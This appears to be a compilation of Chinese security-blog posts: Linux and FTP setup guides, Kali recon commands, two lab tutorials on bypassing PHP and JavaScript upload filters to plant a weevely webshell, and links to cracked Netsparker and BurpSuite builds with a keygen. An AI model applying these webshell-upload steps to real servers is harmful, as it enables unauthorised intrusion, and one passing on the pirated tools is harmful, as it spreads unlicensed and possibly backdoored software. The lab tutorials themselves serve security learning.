physical id : 0 4 physical id : 1 说明实际上是两颗4核的CPU getconf LONG_BIT 32 说明当前 CPU 运行在 32bit 模式下, 但不代表 CPU 不支持 64bit cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l 8 结果大于 0, 说明支持 64bit 计算. lm指 long mode, 支持 lm 则是 64bit
-
17monipdb实用的Tracert(路由跟踪)工具
说明:Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP数据包访问目标所采取的路径。Tracert 命令使用用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。 通常情况我们追踪路由一般是通过系统自带的Tracert命令来完成,无需安装额外的软件,不过这里介绍一款更加简单方便的路由追踪工具17monipdb,此工具是由ipip.net提供,个人感觉测试数据在国内比较精准。 这个工具到底有什么用?简单来说假设您的网站存放在国外服务器,您可以通过此工具来追踪路由,从您本地网络到国外服务器所经过的任何一个路由节点,通常我们也可以使用此工具来测试您本地网络到机房网络是否绕路。 特色功能:显示每个节点的路由位置带有地图显示功能,路线清晰明了可自由切换DNS服务器 下载下载地址:17monipdb.zip
-
kali linux信息收集
查询whois命令 whois www.targe.com 防火墙识别工具:wafw00f 使用: wafw00f targe.com 查看局域网中在线的设备工具:netdiscover 使用: netdiscover -i wlan0
-
文件上传绕过(二)
基于文件后缀名的绕过同理,我们先看源码 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }从源码中我们可以看到,当前禁止了asp aspx php jsp等常见的后缀名。此时我们用BURP截包改包即可。 只需要将后缀名php改为phtml即可。 如图,成功上传,获得shell 更另类的文件绕过先看源码 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '此文件不允许上传!'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }从这里,我们看到限制的文件包含了我们常用的所有文件。 ".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3" 同理,还是很简单,我们仍需burp改包就可以了。 将php改为phP或者pHP即大小写组合。
-
CentOS7安装和配置FTP
安装vsftpdyum install -y vsftpd设置开机启动systemctl enable vsftpd.service 重启service vsftpd restart查看vsftpd服务的状态systemctl status vsftpd.service配置vsftpd.conf备份配置文件cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak执行以下命令sed -i "s/anonymous_enable=YES/anonymous_enable=NO/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#anon_upload_enable=YES/anon_upload_enable=NO/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#anon_mkdir_write_enable=YES/anon_mkdir_write_enable=YES/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#chown_uploads=YES/chown_uploads=NO/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#async_abor_enable=YES/async_abor_enable=YES/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#ascii_upload_enable=YES/ascii_upload_enable=YES/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#ascii_download_enable=YES/ascii_download_enable=YES/g" '/etc/vsftpd/vsftpd.conf' sed -i "s/#ftpd_banner=Welcome to blah FTP service./ftpd_banner=Welcome to FTP service./g" '/etc/vsftpd/vsftpd.conf' 添加下列内容到vsftpd.conf末尾 use_localtime=YES listen_port=21 chroot_local_user=YES idle_session_timeout=300 guest_enable=YES guest_username=vsftpd user_config_dir=/etc/vsftpd/vconf data_connection_timeout=1 virtual_use_local_privs=YES pasv_min_port=10060 pasv_max_port=10090 accept_timeout=5 connect_timeout=1建立用户文件第一行用户名,第二行密码,不能使用root为用户名vi /etc/vsftpd/virtusers chris 123456 chang 123456生成用户数据文件 db_load -T -t hash -f /etc/vsftpd/virtusers /etc/vsftpd/virtusers.db设定PAM验证文件,并指定对虚拟用户数据库文件进行读取chmod 600 /etc/vsftpd/virtusers.db 修改/etc/pam.d/vsftpd文件修改前先备份cp /etc/pam.d/vsftpd /etc/pam.d/vsftpd.bak将auth及account的所有配置行均注释掉vi /etc/pam.d/vsftpd auth sufficient /lib64/security/pam_userdb.so db=/etc/vsftpd/virtusers account sufficient /lib64/security/pam_userdb.so db=/etc/vsftpd/virtusers如果系统为32位,上面改为lib新建系统用户vsftpd,用户目录为/home/vsftpd用户登录终端设为/bin/false(即:使之不能登录系统)useradd vsftpd -d /home/vsftpd -s /bin/false chown -R vsftpd:vsftpd /home/vsftpd7.建立虚拟用户个人配置文件mkdir /etc/vsftpd/vconf cd /etc/vsftpd/vconf这里建立两个虚拟用户配合文件touch chris chang建立用户根目录mkdir -p /home/vsftpd/chris/编辑chris用户配置文件,内容如下,其他用户类似vi chris local_root=/home/vsftpd/chris/ write_enable=YES anon_world_readable_only=NO anon_upload_enable=YES anon_mkdir_write_enable=YES anon_other_write_enable=YES 8. 防火墙设置vi /etc/sysconfig/iptables编辑iptables文件,添加如下内容,开启21端口 -A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT9. 重启vsftpd服务器service vsftpd restart10. 使用xftp等软件连接测试
-
文件上传(一)基于前端js的破解
[Meting] [Music server="netease" id="31877160" type="song"/] [/Meting] 当我们给web中上传webshell时,通常会遇到基于前端的js验证,来判断是否是jpg或者是png文件,如果不是,则阻断文件的上传。今天,我们一起来分析下,如何绕过前端js文件的验证。生成PHP版的webshell在kali中执行下面命令: weevely generate 123456 /root/hacker.php即,在root目录下生成了一个hacker.php的webshell 我们上传刚才生成的webshell,则提示如下 提示,文件格式不对,我们查看原因。 按F12键,我们查看源码 我们得到了下方的代码 function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }这是很典型的前端JS判断脚本,ok 我们看看怎样突破来自前端的限制。 1,将我们生的的hacker.php改名为hacker.jpg2,启动神器burp设置好代理。 OK,准备好之后,我们开始上传文件。 这时,我们可以看到burp已经抓取了http包内容 现在我们需要在burp中将hacker.jpg改名为hacker.php然后点击intercept is off放行即可。 如图,我们则成功上传了webshell。点击右键-属性,查看文件上传的位置。 用kali连接webshellweevely http://192.168.232.204/upload/hacker.php 123456 如上如图,成功获得服务器的权限。 题记1,本次演示仅在本地服务器测试,请勿非法使用。所造成的一切后果自行承担。2,后期还会更新其他类型的webshell上传方法,敬请期待。
-
WEB安全扫描器NETSPARKER 4.6.1破解版
[Meting] [Music server="netease" id="376417" type="song"/] [/Meting] Netsparker是一个便于使用的Web应用漏洞扫描工具,可以爬行、攻击并识别各种Web应用中存在的漏洞。说明Netsparker能识别的Web应用漏洞包括SQL注入、XSS(跨网站指令码)、命令注入、本地文件包含和任意文件读取、远程文件包含、框架注入、内部路径信息披露等。 不同于其它漏洞扫描工具,Netsparker具有相当低的误报率,因为Netsparker执行多次测试以确认任何被识别的漏洞。它还有一个JavaScript引擎,可以解析、执行并分析Web应用中使用的JavaScript和VBScript输出。因此,Netsparker能成功爬行并了解网站(使用不同的AJAX框架、自定义代码或知名的框架如jQuery)。 如果一个网站扫描检测到WSDL(网络服务定义语言)文件,Netsparker也会自动扫描这些网络服务。此外,它还提供以下功能: 详细的问题报告:尽可能详细地报告问题。 自动化:提供命令行接口,可以通过该接口自动扫描并将Netsparker集成到自动扫描、报告或开发系统。记录:所有HTTP请求和响应日志,以及所有被识别的漏洞,以及其它扫描相关数据。 下载地址链接: http://pan.baidu.com/s/1jIlUoce 密码: vb4c (警告:请自行检测程序安全性)
-
最新BurpSuite 1.7.32 破解版
前言之前在博客里给大家分享过很多版本的burpsuite,如:BurpSuite 1.7.11破解版下载【附多/新版本下载】 很久没有关注这一块了,听说最近出了burpsuite 1.7.3.1/2 最新注册机版,网上已经有很多可以下载的地方,但是于此同时出了一个新的问题:网传的部分注册机含后门。 所以特地找了下吾爱破解上的注册机的原版,也就是没有后门的版本,算是以正视听以及作为博客的存档。 BurpSuite 1.7.32 原版+注册机 下载 链接:https://pan.baidu.com/s/1i7pdofb 密码:nw07 [dplayer url="http://f04.v1.cn/transcode/14795383MOBILET2.mp4" pic="https://blog.bbskali.cn/shipin/mp4.png"/] 注意无后门版文件完整性: burp-loader-keygen.jar MD5: A4A02E374695234412E2C66B0649B757 burpsuite_pro_v1.7.31.jar MD5: F29AE39FD23F98F3008DB26974AB0D0A burpsuite_pro_v1.7.32.jar MD5: D4D43E44769B121CFD930A13A2B06B4C 解码密码:www.vuln.cn 注册机使用方法其实非常简单,仅仅是第一次的时候需要反复复制几次注册码 打开注册机:burp-loader-keygen.jar,然后点击run,license text 随便填,然后将生成的license 复制粘贴到打开的burp里,点击next 点击manual activation 手动激活 将request 粘贴到activation request ,将自动生成response,再粘贴到burp里最下面的response中,点击下一步 激活成功,看到这里应该就不用多说了 注意事项第二次打开burp 要先打开burp-loader-keygen.jar ,再点击一下run,打开软件,否则直接打开主程序还是提示输入 license key
-
kali自带mysql配置
kali是自带mysql服务,今天我们来看看,如何配置mysql。 启动myslqservice mysql start初始化密码执行命令 mysql_secure_installation 回车后输入你自己的密码 然后一路Y即可 如图,出现Thanks for using MariaDB!则说明初始化成功。 登录数据库mysql -u root -p这时,你会蛋疼的发现直接回车便可以登录,而不需要密码。所以我们需要执行下面命令。登录数据库(回车直接登录) use mysql; update user set plugin="";这样就可以用刚才设置的密码登录数据库。
-
本博客主题阅读量bug修改
前言原因分析:在后台设置了阅读量后,前台不显示。 查找原因经过查找,找到了下面代码 <span><?php if(isset($this->fields->viewsNum)){ _e('<i class="iconfont icon-eye"></i> 浏览量 '); $this->fields->viewsNum(); } ?></span>看来是调用了typecho的自定义字段功能,自定义字段为viewsNum。 分析typecho的自定义字段功能调用字段$field = $this->fields->fieldName;输出字段$this->fields->fieldName();判断字段if(isset($this->fields->fieldName)){ echo '字段存在,值为:'.$this->fields->fieldName; }else{ echo '字段不存在'; }经过判断发现字段viewsNum不存在。 接着进行分析: 在functions文件末尾,发现以下语句。 function viewCounter($archive){ $cid = $archive->cid; $views = Typecho_Cookie::get('__typecho_views'); $views = !empty($views) ? explode(',', $views) : array(); if(!in_array($cid,$views)){ $db = Typecho_Db::get(); $field = $db->fetchRow($db->select()->from('table.fields')->where('cid = ? AND name = ?', $cid , 'viewsNum')); if(empty($field)){ $db->query($db->insert('table.fields') ->rows(array('cid' => $cid, 'name' => 'viewsNum', 'type' => 'str', 'str_value' => 1, 'int_value' => 0, 'float_value' => 0))); }else{ $db->query($db->update('table.fields')->expression('str_value', 'str_value + 1')->where('cid = ? AND name = ?', $cid , 'viewsNum')); } array_push($views, $cid); $views = implode(',', $views); Typecho_Cookie::set('__typecho_views', $views); } }发现需要在数据库中获取views的值,但是在数据库中找不到相应的views表。看起来需要对数据库入手。 零时解决办法将上段语句替换为下面语句 //get_post_view($this) function get_post_view($archive) { $cid = $archive->cid; $db = Typecho_Db::get(); $prefix = $db->getPrefix(); if (!array_key_exists('views', $db->fetchRow($db->select()->from('table.contents')))) { $db->query('ALTER TABLE `' . $prefix . 'contents` ADD `views` INT(10) DEFAULT 0;'); echo 0; return; } $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid)); if ($archive->is('single')) { $db->query($db->update('table.contents')->rows(array('views' => (int) $row['views'] + 1))->where('cid = ?', $cid)); } echo $row['views']; }在index.php和post.php中将 <span><?php if(isset($this->fields->viewsNum)){ _e('<i class="iconfont icon-eye"></i> 浏览量 '); $this->fields->viewsNum(); } ?></span>替换为: <span><i class="iconfont icon-eye"></i> 浏览量 <?php Views_Plugin::theViews(); ?> </span>效果如下